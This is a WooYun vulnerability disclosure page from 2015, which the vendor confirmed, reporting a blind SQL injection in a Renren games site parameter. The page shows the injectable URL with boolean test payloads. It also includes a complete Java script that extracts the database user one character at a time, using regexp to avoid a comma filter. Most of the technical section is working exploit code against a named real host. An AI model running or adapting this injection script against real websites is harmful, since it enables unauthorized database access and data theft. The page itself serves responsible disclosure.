当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0158645

漏洞标题:人人网某站SQL注入(附注入脚本)

相关厂商:人人网

漏洞作者: 路人甲

提交时间:2015-12-06 09:51

修复时间:2016-01-21 10:30

公开时间:2016-01-21 10:30

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-06: 细节已通知厂商并且等待厂商处理中
2015-12-07: 厂商已经确认,细节仅向厂商公开
2015-12-17: 细节向核心白帽子及相关领域专家公开
2015-12-27: 细节向普通白帽子公开
2016-01-06: 细节向实习白帽子公开
2016-01-21: 细节向公众公开

简要描述:

奇葩。

详细说明:

好多大神挖,不知道会不会重复。

注入点:
http://ku.games.renren.com/?proid=14


http://ku.games.renren.com/?proid=14 and 1=1  #响应数据
http://ku.games.renren.com/?proid=14 and 1=2 #数据为空


很简单的一个注入,但是用sqlmap无法跑起来,手动测试发现有 "," 的时候sql语句无法成功执行。
问了大神,可以用regexp来规避 ","
于是花了点时间写了一个脚本:(代码渣,轻喷。)

public class GetUser {
static int no=0;
public static void main(String[] args) {
test(null);
}
public static void test(String key){
if(key==null){
key="";
}
String url = "http://ku.games.renren.com/?proid=14";
String[] payloads = { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j",
"k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v",
"w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7",
"8", "9", "@", "_", ".","~"};
if(no==0){
no=WebUtils.getHtmlContextAll(url+URLEncoder.encode(" AND 1=1")).length();
}
for (int j = 0; j < payloads.length; j++) {
String testpayload=" and (select+user()) regexp '^"+key+payloads[j]+"'";
String request=url+URLEncoder.encode(testpayload);
try {
String html = WebUtils.getHtmlContextAll(request);
System.out.print("..");
if(html.length() >= no) {
System.err.println(key+payloads[j]);
test(payloads[j]);
break;
}
} catch (Exception e) {
}
}
}
}


漏洞证明:

renrensqli.jpg

修复方案:

过滤。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2015-12-07 10:22

厂商回复:

谢谢,非常感谢,我们会尽快修复。

最新状态:

暂无